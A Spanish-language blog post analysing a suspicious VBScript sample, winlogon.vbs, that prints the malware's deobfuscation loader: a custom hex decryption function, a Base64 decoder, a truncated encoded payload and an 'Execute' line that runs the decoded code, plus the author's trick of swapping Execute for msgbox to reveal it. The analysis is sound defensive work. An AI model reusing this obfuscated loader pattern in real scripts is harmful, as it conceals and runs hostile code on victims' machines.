Hace unos días me dieron el siguiente archivo con
extensión “.vbs”:
Nombre:                winlogon.vbs
Md5:                     8956FFB4FE720569055830FDB0D1D6EC
Md5 del archivo a analizar
Con un editor de texto se reviso el contenido, que
guardaba una sorpresa:
Private Function DeCryptString(strCryptString)
'####################################################################
'### Crypt Function (C) 2001 by Slavic Kozyuk
grindkore@yahoo.com ###
'### Arguments: Encrypted HEX stringt                                                                                                                                                 ###
'### Output: Decrypted ASCII string                               ###
'####################################################################
'### Note this function uses HexConv() and get_hxno()
functions   ###
'### so make sure they are not removed                                                                                                                                                ###
'####################################################################
Dim strRAW, arHexCharSet, i, intKey, intOffSet,
strRawKey, strHexCrypData
                        strRawKey
= Right(strCryptString, Len(strCryptString) - InStr(strCryptString,
"|"))
                        intOffSet
= Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|"))
                        intKey
= HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) -
HexConv(intOffSet)
                        strHexCrypData
= Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1))
                        arHexCharSet
= Split(strHexCrypData, Hex(intKey))
                                               For
i=0 to UBound(arHexCharSet)
                                                                       strRAW
= strRAW & Chr(HexConv(arHexCharSet(i))/intKey)
                                               Next
                        DeCryptString
= strRAW
End Function
Private Function HexConv(hexVar)
Dim hxx, hxx_var, multiply                               
                                               IF
hexVar <> "" THEN
                                                                       hexVar
= UCASE(hexVar)
                                                                       hexVar
= StrReverse(hexVar)
                                                                       DIM
hx()
                                                                       REDIM hx(LEN(hexVar))
                                                                       hxx
= 0
                                                                       hxx_var
= 0
                                                                       FOR hxx = 1 TO LEN(hexVar)
                                                                                              IF
multiply = "" THEN multiply = 1
                                                                                              hx(hxx)
= mid(hexVar,hxx,1)
                                                                                              hxx_var
= (get_hxno(hx(hxx)) * multiply) + hxx_var
                                                                                              multiply
= (multiply * 16)
                                                                       NEXT
                                                                       hexVar
= hxx_var
                                                                       HexConv
= hexVar
                                               END
IF
End Function
Private Function get_hxno(ghx)
                                               If
ghx = "A" Then
                                                                       ghx
= 10
                                               ElseIf
ghx = "B" Then
                                                                       ghx
= 11
                                               ElseIf
ghx = "C" Then
                                                                       ghx
= 12
                                               ElseIf
ghx = "D" Then
                                                                       ghx
= 13
                                               ElseIf
ghx = "E" Then
                                                                       ghx
= 14
                                               ElseIf
ghx = "F" Then
                                                                       ghx
= 15
                                               End
If
                                               get_hxno
= ghx
End Function
                        '
Decodes a base-64 encoded string (BSTR type).
' 1999 - 2004 Antonin Foller, http://www.motobit.com
' 1.01 - solves problem with Access And 'Compare
Database' (InStr)
Function Base64Decode(ByVal base64String)
  'rfc1521
  '1999 Antonin
Foller, Motobit Software, http://Motobit.cz
  Const Base64 =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim
dataLength, sOut, groupBegin
  'remove white
spaces, If any
  base64String =
Replace(base64String, vbCrLf, "")
  base64String =
Replace(base64String, vbTab, "")
  base64String =
Replace(base64String, " ", "")
  'The source
must consists from groups with Len of 4 chars
  dataLength =
Len(base64String)
  If dataLength
Mod 4 <> 0 Then
    Err.Raise 1,
"Base64Decode", "Bad Base64 string."
    Exit
Function
  End If
  ' Now decode
each group:
  For groupBegin
= 1 To dataLength Step 4
    Dim
numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    ' Each data
group encodes up To 3 actual bytes.
    numDataBytes
= 3
    nGroup = 0
    For
CharCounter = 0 To 3
      ' Convert
each character into 6 bits of data, And add it To
      ' an
integer For temporary storage.  If a
character is a '=', there
      ' is one
fewer data byte.  (There can only be a
maximum of 2 '=' In
      ' the
whole string.)
      thisChar =
Mid(base64String, groupBegin + CharCounter, 1)
      If
thisChar = "=" Then
       
numDataBytes = numDataBytes - 1
        thisData
= 0
      Else
        thisData
= InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData
= -1 Then
       
Err.Raise 2, "Base64Decode", "Bad character In Base64
string."
        Exit
Function
      End If
      nGroup =
64 * nGroup + thisData
    Next
    'Hex splits
the long To 6 groups with 4 bits
    nGroup =
Hex(nGroup)
    'Add leading
zeros
    nGroup =
String(6 - Len(nGroup), "0") & nGroup
    'Convert the
3 byte hex integer (6 chars) To 3 characters
    pOut =
Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
     
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H"
& Mid(nGroup, 5, 2)))
    'add
numDataBytes characters To out string
    sOut = sOut
& Left(pOut, numDataBytes)
  Next
  Base64Decode =
sOut
End Function
data = "MkEwQTMwRTExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyNDFDMTJCQTExM0Y0MjI0QTY2QzQxMTNGNDI1REM3RjZFMTEzRjQyNTUyODU1RTExM0Y0MjU4NjQzMjQxMTNGNDI1MzAwNkRBMTEzRjQyMjI3RTg0MDExM0Y0MjUzMDA2REExMTNGNDI1NTI4NTVFMTEzRjQyNDk0Q0Q4ODExM0Y0MjRFQjA5RDIxMTNGNDI0Qjc0QzBDMTEzRjQyNEVCMDlEMjExM0Y0MjR
… <más contenido>…
UUyQjY0MTEzRjQyNzdBNkQ5RTExM0Y0MjZBQjc2ODYxMTNGNDI2Q0RGNTBBMTEzRjQyN0JGNkFBNjExM0Y0MjdCRjZBQTYxMTNGNDIyMjdFODQwMTEzRjQyNDFDMTJCQTExM0Y0MjIyN0U4NDAxMTNGNDI2Q0RGNTBBMTEzRjQyNzY5MkU1QzExM0Y0MjdFMUU5MkExMTNGNDI3NTdFRjFBMTEzRjQyNzhCQU"
dec2 = Base64Decode(data)
dec1 = DeCryptString(dec2)
‘msgbox dec1
Execute dec1
Para decodificar (base 64) y
descifrar, el propio código muestra lo que se debe hacer: sólo tenemos que
des-comentar la penúltima línea y comentar la última:
UUyQjY0MTEzRjQyNzdBNkQ5RTExM0Y0MjZBQjc2ODYxMTNGNDI2Q0RGNTBBMTEzRjQyN0JGNkFBNjExM0Y0MjdCRjZBQTYxMTNGNDIyMjdFODQwMTEzRjQyNDFDMTJCQTExM0Y0MjIyN0U4NDAxMTNGNDI2Q0RGNTBBMTEzRjQyNzY5MkU1QzExM0Y0MjdFMUU5MkExMTNGNDI3NTdFRjFBMTEzRjQyNzhCQU"
dec2 =
Base64Decode(data)
dec1 =
DeCryptString(dec2)
msgbox dec1
‘Execute dec1
Obteniendo el siguiente resultado:
Parte del contenido ofuscado en base64 y
cifrado
Un código verdaderamente interesante,
pero tenemos el problema de la limitación en la visualización.
Para salvar dicho problema, se tuvo
que volcar el contenido des-ofuscado a un archivo con extensión “.txt”, que
permitiera su posterior estudio. Para ello se desarrollo la función: volcardatos().
Función para almacenar la información pasada
en el parámetro “datto” en un archivo de texto
Lanzamiento de la función: “volcardatos()”
El resultado … el deseado:
Contenido des-ofuscado y almacenado en el
archivo: “archivo.txt”





No hay comentarios:
Publicar un comentario